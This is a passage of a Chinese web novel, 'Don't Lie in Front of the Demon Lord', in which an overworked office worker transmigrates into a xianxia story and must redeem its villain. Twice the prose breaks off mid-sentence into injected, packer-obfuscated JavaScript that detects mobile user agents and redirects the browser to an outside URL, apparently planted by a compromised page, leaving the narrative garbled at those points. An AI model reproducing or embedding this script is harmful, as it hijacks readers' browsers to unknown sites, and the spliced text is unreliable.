《别在魔尊面前说谎》 1. 社畜也有穿书这一天 “小姐,我帮您梳个当下最流行的‘毓灵髻’,保证迷倒那些公子少爷!”丫鬟小桃兴致勃勃地在她头上比划着。 镜中映出一张乏善可陈的脸。五官平平,唯有那双浅栗色的杏眼还算灵动,像初春的猫儿。 若是笑起来,眼底或许能有几分光华流转,眼尾翘起弯弯的小钩子,像喜鹊翘起的尾巴尖。 可惜这张脸的主人,眉宇间常年笼罩着一层挥之不去的死气。 那是加班到凌晨,方案被毙十次,又被老板画了N张大饼后,社畜灵魂深处透出的疲惫与冷漠。这点唯一的灵动,也被这层死气完美封印。 颜悬昭恹恹地看着镜中的倒影,心想:就这建模水平,梳个仙女的发髻也救不了,纯属浪费表情。 这是苦命社畜颜悬昭穿进古风仙侠文《蓬莱雪尽时》的第三天。 不但穿成了同名同姓的炮灰,还绑定了一个“反派救赎系统”。任务是感化未来会灭世的黑化大反派,阻止他发疯。 要不是看在报酬尚可的份上,她真想掀桌不干了。 【宿主,为了节约资源,炮灰角色的建模只能这样凑合,绝美建模是主角团的特权。】系统音在脑海中响起。 颜悬昭瞬间破防:“……” 好毒的嘴!系统你个剑人! 【宿主,我不是人,所以你的辱骂无效。还有,禁止在心里骂我,我听得见。】系统毫无波澜地纠正。 颜悬昭满心的悲愤还没来得及酝酿成嘶吼,小桃就欢快地一拍手,打断了她的发疯:“好了!小姐您瞧,多漂亮!这次诗会,定能钓到个金龟婿!” 她定睛一看。 嚯,小桃手艺真不错。 繁复仙气的毓灵髻,恰到好处的薄妆,配上这身流光溢彩的云锦罗裙……硬是把那张平平无奇的脸,拔高到了“勉强算个小美女”的及格线。 颜悬昭对着镜子左顾右盼,刚生出那么一丝“我还挺好看”的错觉,系统就不合时宜地提醒了她。 【剩余生命值:59分47秒。请宿主立刻前往任务点,执行初始任务。任务成功奖励:72小时生命值。】 系统像个无情的打卡机,社畜的PTSD顿时犯了。 “急什么……”颜悬昭还在镜子前左看看右看看。 【检测到宿主消极怠工。生命值强制回收倒计时:10、9、8…】 “!!!”颜悬昭一个激灵,像被踩了尾巴一样猛地弹了起来,满头珠翠叮当作响。 “小,小姐?”小桃吓得差点把梳子扔了。 “备车!现在就要!”颜悬昭拎着裙摆就往外冲。 --- 云栖竹境里,有风拂过竹海。 碎金般的阳光在婆娑翠影间跳跃,簌簌的竹叶响声里,还夹杂着远处传来的丝竹雅乐。 俊美的世家公子小姐们或在竹林间吟风弄月,或在亭中煮酒论剑,衣袂飘飘,言笑晏晏,好不热闹。 只有颜悬昭格格不入。 她瘫坐在一张石凳上,坐没坐相,手里一把瓜子磕得飞快。 精致的发髻和华丽的衣裙,也掩盖不住她周身散发出的“好无聊,想下班”的怨念。 这种变相的联谊,早在穿书前,她就被迫参加过不下十次,流程都刻进DNA了。 无非是商业互吹,才艺展示,塑料社交……简直无聊透顶。 小桃在一旁急得直跺脚。 自家小姐好不容易被允许出门一次,要是再找不到个靠谱的郎君,回去就得被老爷塞给宋家那个脑满肠肥的纨绔了! 小姐,她怎么还有心思嗑瓜子? 就在小桃准备豁出去,替自家这位祖宗吸引点目光时—— “唰唰!” 密集如骤雨般的脚步声由远及近,瞬间打破了竹林的静谧风雅。 人影憧憧,雪白的衣袍如同冰冷的浪潮,几个呼吸间便将这片区域围得水泄不通。 丝竹骤停,谈笑凝固。空气瞬间紧绷,只剩下竹叶摩擦的沙沙声,敲打着每个人不安的心跳。 主办诗会的李公子强作镇定上前交涉:“诸位大人,今日不过是筠州城世家子弟在此小聚,不知因何事惊动缉尘司?” 白衣人中走出一名领队,取下覆面的白巾,露出一张刻板严肃的脸。 他取出令牌,向所有人示意:“缉尘司办案。我司接到线报,称有魔修逃入云栖竹境,目前下落不明,请诸位暂留此地,配合搜查。” 声音不大,却一石激起千层浪。 “魔修?!”惊呼四起,人人色变,瞬间乱作一团,彼此警惕地拉开距离,人人自危。 小桃心头一紧,慌忙回头看向自家小姐的位置。 石凳空空如也,只余一地凌乱的瓜子壳。 --- “系统你行不行啊?”颜悬昭气喘吁吁地推开又一扇木门,里面除了桌椅和一些杂物,鬼影都没一个,“说好的‘就在附近’?这‘附近’也忒大了点吧!” 【宿主,系统能量不足,定位精度有限,目标确实在西北角这片院落群内。】系统的声音透着一股甩锅的理直气壮。 颜悬昭:“……” 淦!这和历史期末考划重点是上下五千年有什么区别? 这个园子太大,光是这片犄角旮旯就散落着二十几间厢房,找得她两眼发花。 【宿主,我好像有感应了,你往前走走。】系统忽然发话。 颜悬昭不情不愿地挪过去。 只见木门紧闭,上面还布满灰尘和蛛网。 她用力一推,却纹丝不动。 “啧。”社畜的暴躁涌上心头,她后退两步,深吸一口气,一脚踹了上去。 “砰!” 老旧的木门被她硬生生撞开,漫天灰尘扑面而来。 颜悬昭没来得及躲,被呛得眼泪直流。 为了执行任务,她只好一边疯狂挥手扇风,一边踮着脚尖,避开地上乱七八糟的杂物。 这个房间看起来废弃很久了,堆满了各式各样的草垛、沙袋和木箱,她差点连落脚的地方都没找到。 “不对啊,这里哪有人,系统你耍我?”她草草扫了一眼就想撤退,这地方脏得她浑身上下的衣服都要贬值了! 就在转身的刹那,她的脚尖踢到一个软中带硬的东西。 “什么东西……” 她低头一看,鞋尖上赫然沾了一抹暗红的血渍。 “啊啊啊啊啊!!!”颜悬昭的尖叫瞬间冲破房梁,堪比土拨鼠,“我的鞋!新买的!上面还有珍珠!!” 怒火攻心之下,她想也没想,抬脚就狠狠踹了过去! 【宿主!你踹的是任务目标的手!!是反派应逢怜的手!!!】系统尖叫得快要破音。 颜悬昭动作瞬间僵住。 浓重的灰尘味里,那股铁锈般的血腥气忽然缠绕上了她的感官。 她屏住呼吸,心脏狂跳,抖着手,小心翼翼地拨开面前半人高的发霉草垛。 一张脸,在脏污的草屑下显露出来。 即使狼狈不堪,血污满面,几道黑色魔气在苍白的皮肤下隐隐显露,也掩盖不住这张脸的惊人昳丽。 他长睫如鸦羽,在眼睑投下脆弱的阴影,鼻梁高挺,唇色淡得几乎透明。 若不是知道他是疯批反派,她大抵会认为这就是个等待拯救的落难美人。 “就是他么?”颜悬昭觉得自己大抵也是疯了,还能这么冷静地指着人对系统确认身份。 【没错,他就是本书最大反派,未来搅得三界天翻地覆的疯批魔尊,应逢怜。】系统也一板一眼回答道。 她本来是没有什么救赎癖的,毕竟心疼男人轻则李×鄞,重则傅×行,但任务在上,谢天谢地,她必须得干。 “啧,建模倒是舍得下本钱……”她小声嘀咕,鬼使神差地伸出手指,想去戳戳那张漂亮得过分的脸。 可她指尖还未触及,那双紧闭的眼睛倏然睁开,她对上了一双猩红的眼瞳! 颜悬昭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她深吸一口气,抓住应逢怜的肩膀试图将他拖起来,却纹丝不动! 这家伙,一米八几的大个子,看着清瘦,分量却十足。 颜悬昭累得气喘吁吁,连吃奶的劲儿都使出来了,对方愣是没挪动一厘米。 短暂的沉默后。 她双手合十,对着毫无知觉的应逢怜,表情无比诚恳:“阿弥陀佛,兄弟,对不住了。工伤补偿等你醒了再谈。” 说罢,她果断抄起应逢怜的两条腿,使出拖麻袋的力气,吭哧吭哧就往门口拽! 咚! 漂亮反派的脑袋就这样毫无保护地磕在地面上,发出令人牙酸的闷响。 系统:【……】 它默默切断了视觉共享,选择眼不见为净。 好不容易把人高马大的“麻袋”拖到门边,颜悬昭刚喘匀一口气,准备推开一条门缝观察敌情,忽然听见门外的响动。 门外,一道带着哭腔又无比熟悉的女声穿透门板。 “大人!求求你们快救救我家小姐啊!她刚才还在那好好的,一眨眼就不见了!一定是被那杀千刀的魔头掳走了!我苦命的小姐啊呜呜呜……” 是小桃! 紧接着,一个沉稳的男声响起:“姑娘莫慌,你已经告知我们很多次了。缉尘司定会全力搜救颜小姐,并将那魔修绳之以法!” 颜悬昭贴在门上,身体僵硬,听着外头的脚步声纷沓而至,越来越近,目标明确地朝着这间破屋子而来。 她五感灵敏,甚至能感觉到门外搜查者的气息和衣袍带起的微风。 完了,她还带着个魔头,被发现了他俩就成共犯了。 颜悬昭脸色煞白,用尽全身力气死死抵住身后的破门。 身前地上是昏迷不醒,身份敏感,脑袋还被她砸了个大包的反派“麻袋”,身后是要抓走反派的正道修士,她被夹在两者中间,简直两面不是人。 系统此时却安静如鸡,半点助力都提供不了。 颜悬昭绝望地闭了闭眼。 完了……这下是真要玩完了! 2. 捡男人 “砰!” 木门被一股巨力猛然撞开,激起漫天呛人的灰尘。 缉尘司的白衣人鱼贯而入,瞬间将狭小的杂物间塞得水泄不通,肃杀之气弥漫开来。 领队目光锐利,如鹰隼般扫视全场。 蛛网遍布,灰尘厚重,破败的杂物散乱一地。 空气中,浓重的霉味混杂着刺鼻的铁腥气,甚至有一丝若有似无的魔气! 而房间中央,颜悬昭正半死不活地瘫在一个脏污的草垛上,捂着脖子撕心裂肺地咳嗽,白皙纤细的脖颈上,一道暗红发紫的狰狞掐痕触目惊心。 “小姐!”小桃尖叫出声,她像颗炮弹一样从人缝里挤进去,一把抱住颜悬昭,眼泪唰地就下来了,“您怎么样了?别吓奴婢啊!” 颜悬昭顺势将脸埋进小桃怀里,肩膀剧烈颤抖着,喉咙里止不住地发出破碎的呜咽,一副刚从鬼门关爬回来的可怜模样。 领队挥手示意手下仔细搜查,自己则上前一步,公事公办地拱手:“姑娘受惊了。方才此处发生了何事?” 颜悬昭像是被吓丢了魂,眼神空洞,直到小桃用力拍抚她的背,她才猛地一颤,回过神来,艰难地咽了口唾沫,声音嘶哑:“魔……是魔头……他,他要掐死我……” 她下意识地又去摸脖子上的伤痕,指尖都在哆嗦。 “呜呜呜……大人!幸好你们来了!再晚一步……呜呜呜……我就……”话未说完,她已再次崩溃,捂着脸嚎啕大哭,哭声凄厉绝望。 小桃也跟着她哭得更大声了。 “魔头?人呢?”领队眼神一厉,立刻追问。 一个搜查的白衣人正走到颜悬昭附近仔细查看草垛。 颜悬昭藏在袖中的手瞬间攥紧了身下的稻草,面上却哭得更加凄惨无助:“他听到动静……松了手……从那边……”她颤抖着指向房间西侧那扇虚掩的窗户,“……跳窗跑了!” 众人目光齐刷刷射向那扇窗。 窗棂歪斜,的确没关严实。 领队大步上前,“哗啦”一声推开破窗,冷风灌入。 窗台上,几滴尚未完全凝固的新鲜血迹赫然在目。 不仅如此,窗外的泥地上隐约还有踩踏的痕迹和残留的微弱魔气,一路向西延伸! “追!顺着血迹和魔气,给我搜!”领队当机立断,厉声下令。 白衣人闻风而动,训练有素地迅速撤离,扑向西边的竹林。 颜悬昭刚把提到嗓子眼的心往下放了放,一口气还没喘匀,却见那领队竟没走。 他转过身,一步步走回她面前,从怀中取出一物,面无表情地递到她眼前—— 一张素白的手帕,上面沾染着大片刺目的、半干涸的暗红血迹! 颜悬昭心脏骤停。 糟了! 这是她刚才情急之下,蘸取应逢怜伤口鲜血,伪造窗外血迹的“作案工具”。 本想趁乱处理掉,结果这帮人进来太快,她只能随手塞进一个草垛缝隙里……竟然被翻出来了? 【宿主,千万别露馅啊!】系统在她脑子里警报。 颜悬昭强行压下心跳,努力维持着脸上惊魂未定的凄楚表情,大脑却疯狂运转。 对了,她没有动机!在他们眼里,自己和应逢怜毫无瓜葛,她没有理由包庇一个差点掐死她的魔头,只要解释清楚,她就是清白的! 电光火石间,她脸上恰到好处地露出一丝茫然:“这……是我的帕子。那魔头……他掐我之前,似乎伤得很重,用我的帕子胡乱擦了伤口的血……大人,这……有什么问题吗?” 声音怯怯的,带着劫后余生的脆弱。 领队鹰隼般的目光在她脸上逡巡片刻,似乎没发现破绽,将染血的手帕收了回去。 但他并未离开,转而问道:“颜姑娘为何会独自来到这荒僻的杂物间?” 来了!颜悬昭心里咯噔一下,脸上却瞬间飞起两朵尴尬的红云,声音细若蚊蚋:“……实在是人有三急,我方才离席去茅房……回来的路上,听到里面有些奇怪动静……” 她眼神躲闪,声音越来越低:“……还以为是哪对野鸳鸯在此……暗度陈仓……就,就忍不住想……偷偷看一眼……” “小姐!您这偷看别人墙根的毛病怎么又犯了!”小桃气得跺脚,声音拔高,恨铁不成钢地数落,“奴婢跟您说过多少次了,好奇害死猫!这下好了吧,差点把命搭进去!” 领队的嘴角似乎几不可察地抽搐了一下。 这理由……离谱中透着一丝合理? 颜悬昭仿佛被小桃点醒,猛地想起什么,脸上血色尽褪,一把抓住领队的手臂,像是抓住了救命稻草,声音抖得不成样子:“大人!大人您一定要抓住他啊!我……我今天算是把他得罪死了!他要是知道是我指的路……会不会回头来杀我灭口啊?大人救我!” 领队不动声色地拂开她颤抖的手,语气公式化地安抚:“缉尘司职责所在,定会将其绳之以法,姑娘无需多虑。” 他的目光落在她僵硬半躺在草垛上的姿势,话锋一转:“姑娘可是伤到了腿脚?需要在下……” “不!不用!”颜悬昭像是被烫到般猛地缩回手,脸颊更红了,眼神躲闪,带着难以启齿的羞赧,“我反抗那魔头时,后背的衣衫被他撕破了……实在是不雅……烦请大人先行一步,让小桃帮我处理一下……” 她声音越来越小,头也深深埋了下去。 领队眉头微蹙,正欲开口。 “报——!”一声急促的呼喊从门外传来。 一名白衣人冲进来,语速极快:“西侧小竹林发现魔头踪迹!似有打斗痕迹!” 领队眼神一凛,瞬间将颜悬昭这点“衣衫不整”的小事抛之脑后,毫不犹豫地转身,大步流星地跟着报信者冲了出去。 脚步声迅速远去,直到彻底消失在竹林深处。 杂物间内,只剩下颜悬昭、小桃,以及…… 颜悬昭像被抽干了所有力气,长长地呼出一口气,后背的冷汗几乎浸透了里衣。 她瘫在草垛上,感觉演这出戏比连续加班72小时还累。 “小姐?您没事吧?”小桃担忧地看着她。 “没事……快帮我!”颜悬昭猛地回神,一个鲤鱼打挺坐起来,手脚并用地扒开身下被压得异常严实的那堆稻草。 应逢怜那张苍白昳丽的脸,再次暴露在空气中。 他依旧昏迷着,只是额角多了一个包,大概是被拖拽时磕的。 小桃倒吸一口凉气,眼珠子差点瞪出来:“小姐!这……这是那魔……” “嘘——”颜悬昭一把捂住她的嘴,压低声音,斩钉截铁,“这是你未来姑爷!别废话,快帮本小姐把他搬上车!” --- 颜府,西厢偏院。 小桃端着一碗冒着腾腾热气的漆黑药汁,小心翼翼地掀开纱帘,递到守在床边的颜悬昭手中:“小姐,药好了。” 颜悬昭接过药碗,疲惫地挥挥手:“行了,你去歇着吧。” 小桃欲言又止,看着床上昏迷的“未来姑爷”,又看看自家小姐,愁容满面地一步三回头,最终还是退了出去。 纱帘重新落下,隔绝出一个隐秘的小天地。 【宿主,真不用清除小桃的记忆?】系统音响起。 “车夫和马车那边处理干净就行。”颜悬昭舀起满满一大勺滚烫的药汁,动作干脆利落,毫无怜香惜玉之心地就往应逢怜那形状优美的薄唇边怼去,“小桃我信得过,嘴严又忠心,留着帮我们打掩护更省心。” 【住手!药太烫了!】 系统的尖叫慢了半拍。 滚烫的药汁精准浇在应逢怜苍白的唇角,瞬间烫起一个刺眼的红亮水泡! 颜悬昭的手僵在半空。 【颜悬昭!你是救人还是谋杀?吹一下会死吗!】系统简直要气到数据紊乱。 颜悬昭心虚地缩回手,难得没回嘴。 她认命地对着勺子里的药汁“呼呼”吹了几口,又谨慎地用手背试了试温度,确认温凉了,才再次送到应逢怜嘴边。 这一次,昏迷中的反派异常配合,温顺地任由她一勺勺将苦涩的药汁喂入口中。 他浓密的长睫在眼下投下安静的阴影,像个精致易碎的琉璃娃娃,完全看不出当时要暴起杀她的样子。 多好的一个人啊,如果不会动就更好了。 喂完药,颜悬昭百无聊赖地趴在床沿,托着腮,像研究什么稀有标本一样,肆无忌惮地打量着床上的人。 这可是书里能把三界搅得天翻地覆、让小儿止啼的终极大反派啊! 活的! 虽然嫉妒得牙痒痒,但颜悬昭不得不承认,反派大人这建模真是老天爷追着喂饭吃。 骨相立体如刀削斧凿,眉眼深邃精致得不像话,高挺的鼻梁下,那两片被药汁润泽过的薄唇,透出一种诱人沉沦的糜艳。 她忍不住对他的脸颊戳了又戳,手感真好。 【宿主,别戳了!趁他晕,赶紧排练待会儿的台词!】系统无情地打断了她。 “哦。”颜悬昭不情不愿地坐直身体,清了清嗓子,棒读道,“你醒啦?身体有没有哪里不舒服?” 【感情呢?你刚才在缉尘司面前那影后级的表演呢?】系统痛心疾首。 颜悬昭深吸一口气,调动毕生热情,字正腔圆、抑扬顿挫地重来:“你!醒!啦!身体有没有哪里不舒服~~~” 这次又用力过猛,活像在菜市场吆喝的大娘。 【……】系统沉默了,【算了,你还是本色出演阴暗社畜吧,强扭的瓜不甜。】 颜悬昭摊手:“早跟你说过,演狂暴发疯神经病我倒是在行,演圣光普照白月光,简直是专业不对口啊!” 系统:【……算了,你按我的来,别自由发挥了。】 …… 应逢怜的意识在混沌的黑暗中沉浮,嘈杂的声响像隔着一层水幕传来。 他费力地掀开沉重的眼皮,昏暗摇曳的烛光中,床边坐着个模糊的轮廓,却莫名勾起了他的一丝熟悉感。 是她…… “你醒啦?”一道刻意放柔的女声响起。 接着,一张脸凑了过来,努力挤出一个“温柔”的笑容:“身上还有哪里不舒服吗?” 颜悬昭维持着这个“核善”的微笑,感觉嘴角肌肉都在抽搐。 然而,床上的人毫无反应。 应逢怜面无表情地看着她,那双眸子幽深得像寒潭,里面没有任何情绪,只有一片空洞。 他就这么直勾勾地盯着她,仿佛在评估一件死物的价值。 时间在令人窒息的沉默中流逝。 【滴!应逢怜好感度下降10点。当前好感度:-10。】 颜悬昭差点把手里的空药碗捏碎。 她明明严格按照白月光剧本演的!凭什么扣分!这甲方还有没有天理了! 【大概是因为……你的笑容里充满了‘被迫营业’的怨念?】系统犹豫道。 换而言之,笑得很命苦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316294|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我超!要求这么多!老娘不干了!”颜悬昭瞬间怒火攻心,在脑海里和系统展开了激烈的甩锅大战,表情管理彻底失控,龇牙咧嘴,面目狰狞。 她全然不知,自己这副“想杀人”的尊容,正被床上那位“甲方”尽收眼底。 应逢怜静静地看了几秒她扭曲的表情,长长的睫毛缓缓垂下,遮住了眼底一闪而过的幽光。 再抬眸时,他脸上冰封般的冷漠瞬间融化,如同初春消融的雪水,换上了一种带着讨好意味的纯良笑意。 他甚至伸出苍白修长的手指,轻轻扯了扯颜悬昭的衣袖。 “多谢姑娘救命之恩。”声音虚弱,带着劫后余生的颤抖,像只受惊的小白兔,与刚才的他判若两人。“在下应怜。敢问恩人……芳名?” 颜悬昭和系统:【???】 这变脸速度堪比川剧大师。 应逢怜见她不答,微微歪了歪头,清澈的眸子里盛满无辜,眼底烛光跳跃,她险些失了神。 “我叫颜悬昭!”颜悬昭猛地回神,舌头差点打结,“颜色的颜,悬崖的悬,昭君的昭!” “悬昭……”应逢怜低低重复了一遍,苍白的唇角弯起一个清浅的弧度,“好名字。” 然而,这笑似乎牵动了内伤,他猛地剧烈咳嗽起来,单薄的身体蜷缩着,仿佛下一刻就要散架。 颜悬昭立刻进入“体贴”模式,连忙上前帮他拍背顺气:“别急别急,慢慢来!” 谁知,应逢怜像是虚弱得坐不稳,身体一软,顺势就倒进了她怀里,脑袋还枕在了她的颈窝。 一股清冽又带着淡淡药味的气息瞬间将她笼罩,距离近得颜悬昭能看清他脸上细小的绒毛,感受到他带着热意的呼吸拂过她的皮肤。 颜悬昭身体瞬间石化。 母胎solo二十多年的社畜哪经历过这场面,美男在怀,她的手脚都不知道该往哪放,只好僵在原地。 “姑娘……”应逢怜靠在她怀里,声音闷闷的,带着一种奇异的依赖感,他微微仰起头,露出脆弱优美的颈线,看似不经意地问,“……为何要救我?” 【警告!检测到强烈杀意波动!请宿主谨慎作答!】系统尖叫起来。 不用系统提醒,颜悬昭后颈的汗毛都竖起来了。 送命题!绝对是送命题! 这疯批在试探她! 好你个应逢怜,演戏是吧?行,看谁演得过谁!老娘拼了! 颜悬昭瞬间切换悲天悯人模式,眼神充满同情:“唉,说来也是缘分。我路过那破屋子,听见里面有动静,进去一看,就发现你重伤昏迷在草堆里,浑身是血,气息微弱……我实在不忍心见死不救,就和我的侍女小桃费了九牛二虎之力才把你弄回来。” 她说着,还适时地流露出一点恰到好处的担忧:“公子是得罪了什么人吗?他们竟对你下此狠手?” 应逢怜闻言,眼眶瞬间泛红,长长的睫毛沾上湿意,一副强忍悲痛、不堪回首的模样。 他顺着颜悬昭的话,声音带着哽咽:“我那嫡亲的兄长为了独占家产,不仅设计陷害于我,污蔑我是魔族余孽……还买通缉尘司中人,欲对我赶尽杀绝……” 他抬起泪光盈盈的眸子,直直望进颜悬昭眼底:“姑娘,你……信我吗?” 颜悬昭激动地一把抓住应逢怜微凉的手,深情款款地保证:“我信!我当然信!这世间怎会有如此狠毒的兄长!” 【滴!应逢怜好感度下降5点。当前好感度:-15。】 系统提示音如同一盆冰水浇头。 颜悬昭:“……” 她内心疯狂咆哮:应逢怜我日你仙人板板!疑心病这么重,你怎么不去当曹操!老娘都演成这样了还降,你到底想听什么? 应逢怜全然不知颜悬昭崩溃的心态,还得寸进尺地问道:“姑娘,为什么信我?” 她破罐破摔,一把甩开他的手,翻了个白眼,用一种“你爱信不信”的摆烂语气,脱口而出:“还能为什么?因为我娘从小教导我,男人长得这么帅,绝对坏不到哪儿去!懂了吗?” 应逢怜:“……” 他脸上精心编织的表情瞬间凝固。 那双漂亮的眼睛罕见地出现了片刻的茫然,仿佛大脑被这句简单粗暴却又理直气壮的理由彻底干宕机了。 【滴!恭喜宿主!成功打消反派疑虑!‘收留重伤反派’任务达成!奖励生命值:72小时!】系统的话语带着一丝劫后余生的……无语? “砰!” 下一秒,房门被猛地撞开! 小桃气喘吁吁地冲了进来,一眼就看到自家小姐和那位“未来姑爷”姿态亲密地依偎在床边。 “小,小姐……”她喘着粗气,脸色煞白,目光在两人身上扫过,却下意识对着应逢怜脱口而出,“……姑爷?” 应逢怜:“……?” 他漂亮的眉毛几不可察地挑了一下,眼底闪过一丝极快的探究。 颜悬昭像被针扎了一样,瞬间把应逢怜从自己怀里推开,弹跳下床,动作快得带起一阵风:“小桃!怎么了!” 小桃这才想起天大的正事,急得眼泪直掉,带着哭腔喊道:“不好了小姐,出大事了!宋家那个猪头三少爷带着一大群家丁,抬着聘礼上门提亲了!老爷他……已经应下了,说是择日就过门啊!” 颜悬昭如遭雷击,猛地一拍额头,倒吸一口凉气。 完了,光顾着应付这尊要命的大佛,把原身这摊更破烂的狗血事儿给忘得一干二净了! 3. 黑吃黑 颜悬昭所在的颜家,不过是筠州城众多小世家里不起眼的其中之一。这些小家族为了抱团取暖,彼此间嫁娶联姻是常态,如同罗织了一张蛛网。 然而,这蛛网之上盘踞着一只真正的庞然大物:宋家。其权势滔天,不可想象。 就算把所有的小世家捆在一起,只要宋家轻轻动一根手指,也能够轻易碾碎。 如今,这土霸王竟“纡尊降贵”,要与颜家联姻? 颜父仿佛看到了飞黄腾达的希望,简直喜出望外,恨不得立刻敲锣打鼓把女儿打包送过去。 而祭品人选,毫无疑问落在了没有修炼天赋,还在家族里如同透明人的庶女颜悬昭头上。 为什么是祭品? 因为宋家如今的当家人宋三,是个不折不扣的煞星。 他暴戾成性,短短数年间,已接连“克死”了十二位正妻,传闻那些女子的死状一个比一个惨烈,见过的人无不噩梦缠身。 颜悬昭想到原著描述,忍不住打了个寒噤。她很清楚,这宋三哪里是克妻?分明是因为他长期修炼邪门魔功,专挑阴月阴日出生,身具微末修为的女子,活活炼成炉鼎。 民间女子被他祸害殆尽,如今魔爪终于伸向了小世家的贵女。原主,就是这第十三号倒霉蛋。 原著开篇的第一单元,便是男女主听闻筠州城有魔头掳女炼丹,误以为是应逢怜所为,千里迢迢赶来破案。 而关于“颜悬昭”的结局,原文只是一笔带过:“颜家小姐于新婚当晚惨死婚房。” 不行,这祭品谁爱当谁当,她颜悬昭绝不要坐以待毙! 她提着碍事的裙摆,风风火火冲向正厅,想找颜父据理力争。刚冲到门口,却与正欲离开的宋三撞了个正着。 宋三见了她,竟停下脚步,那双深陷如骷髅的眼,贪婪地扫视着颜悬昭。 他浑浊的眼里瞳孔奇大,几乎吞噬了眼白,散发着非人的诡异感,整个人还佝偻着背,像一具被抽干了生气的痨病尸骸。周身虽无魔气泄露,却比应逢怜更像从地狱爬出来的恶鬼! 颜悬昭被他看得后颈发凉,汗毛倒竖。她宁愿回去跟应逢怜那个“魔头”大眼瞪小眼,至少那张脸还能下饭,她看到这个宋三就想吐。 “颜小姐……”宋三声音嘶哑低沉,听了让人头皮发麻。 他缓慢地拱了拱手,像看猎物一样看着她:“……后会有期。” 颜悬昭强压下胃里的翻腾和本能的恐惧,努力扮演着骄纵无知的大小姐。 她挺直僵硬的腰背,从鼻子里发出一声不屑的冷哼,看也不看宋三,昂着头就冲进了正厅,把那道毒蛇般的阴冷目光隔绝在门外。 厅内,颜父正志得意满地端起茶杯,仿佛已看到家族因这场联姻而飞黄腾达。 “父亲!”颜悬昭站定。 颜父见是她,眉头立刻拧成了疙瘩:“你来做什么?” “我不嫁宋三!”颜悬昭单刀直入,毫无废话。 “胡闹!”颜父将茶杯重重砸在桌上,茶水四溅,“婚姻大事,父母之命媒妁之言!岂容你置喙!” “父母之命?”颜悬昭气笑了,也不演什么父慈女孝了,直接和他撕破脸,“是让我去送死吧?谁不知道宋三修炼魔功,前面十二个妻子都是被他活活炼死的!父亲为了巴结宋家,连亲生女儿的命都不要了?” 颜父被戳中心事,瞬间恼羞成怒,老脸涨红:“放肆,市井流言岂能当真!那是她们福薄,受不起宋家的泼天富贵!让你去做宋家夫人,享不尽的荣华富贵,这是天大的福分,你还有什么不满?” “福分?”颜悬昭嗤笑一声,“这‘福分’如此厚重,小女福薄,实在消受不起!父亲您福泽深厚,不如您自己嫁过去,替女儿享了这‘泼天富贵’如何?” “孽障!反了你了!”颜父被这大逆不道的话气得浑身发抖,理智尽失,抄起手边滚烫的茶壶就朝颜悬昭头上狠狠砸去! 【宿主快闪!】系统尖叫。 颜悬昭早有防备,社畜闪避老板砸文件的本能让她敏捷地侧身躲开。 “砰!” 茶壶在她脚边炸开,茶水溅湿了她的裙摆。 “老登!给你脸了!”穿越前被傻X老板压榨的怒火瞬间点燃。 颜悬昭想也没想,抄起旁边博古架上一个大花瓶,用尽吃奶的力气朝颜父头上抡了过去! “哐!!!”瓷器碎裂声震耳欲聋。 “啊!”颜父狼狈地抱头鼠窜。 候在外头的小桃听到里面地动山摇般的巨响,心惊胆战地探头,只见她家小姐一个箭步从硝烟弥漫的“战场”冲了出来。 “小姐!发生什么了?!”小桃吓得声音都变了调。 “别问!”颜悬昭一把拽住她,脚下生风,“问就是——爽!值了!快跑!”再不跑,等老登缓过劲儿来,就不是禁足那么简单了! --- 冲动一时爽,收尾火葬场。 颜悬昭大闹正厅,以下犯上,精准踩中颜父所有雷区,成功喜提豪华禁闭套餐:三日小黑屋。 她知道,颜父不是不想直接请家法把她打个半死,只是碍于三日后宋家就要来迎亲。为了能顺利把这“祭品”送出去换利益,他只能“宽宏大量”,选择禁足。 说白了,就是怕她跑了。 话说宋家居然这么急?三天后就要迎娶? 颜悬昭琢磨着“三天”这个数字,越品越不对劲……等等!这不是系统刚奖励她的“存活时长”吗? 【系统你个狗贼!居然敢算计我?】颜悬昭咆哮起来,【这三天根本不是奖励,明明就是是死缓通知书!想不出办法,我就只剩三天可活了!】 系统一言不发,明显在装死。 “小姐,这可怎么办啊?”小桃愁得小脸皱成一团,在房间里团团转,“那宋三就是个活阎王!前面十二个都死了……您要是真嫁过去……” 她说到一半,猛地捂住嘴,连“呸”三声:“呸呸呸!童言无忌!我们小姐福大命大,长命百岁!” 颜悬昭瘫在椅子上,同样愁云惨淡。 这身体要修为没修为,要人脉没人脉,堪称地狱开局。三天时间,她上哪去找生路? 目光无意识地扫过床榻,正好对上应逢怜幽幽睁开的眸子。 他伤得极重,颜悬昭弄来的药似乎只能勉强吊住他的命,无法阻止他频繁陷入昏睡。此刻他刚刚醒来,脸色苍白如纸,长睫低垂,带着一种易碎的脆弱感。 感受到两道灼热的视线,应逢怜抬起眼,那双深邃的眸子依旧没什么情绪,嘴角却已习惯性地勾起一个堪称温柔的弧度:“颜姑娘……怎么了?为何如此看我?” “姑爷!救命啊姑爷!”小桃仿佛抓住了最后一根浮木,扑到床边,竹筒倒豆子般把宋三逼婚、颜父卖女、小姐即将英勇就义的悲惨遭遇一股脑儿倒了出来。 应逢怜静静地听着,脸上那点虚假的温柔渐渐淡去,眼底一片沉寂,看不出任何想法。 颜悬昭心里却冷笑起来:指望这疯批魔头大发善心救人?不如指望太阳打西边出来。除非……救她能带来足够大的利益。 利益! 一道灵光劈开混沌。 颜悬昭猛地一拍大腿,差点跳起来! 她怎么忘了魔道的本质?无非损人利己,弱肉强食。 应逢怜的功法尤其特别,他从来都不搞那些心魔、邪祟、采补的花活儿,他走的是最纯粹的“黑吃黑”路线,直接掠夺其他魔修的内丹,化为己用,不讲武德。 那个修炼魔功,靠采补女子提升修为的宋三,对应逢怜来说是什么? 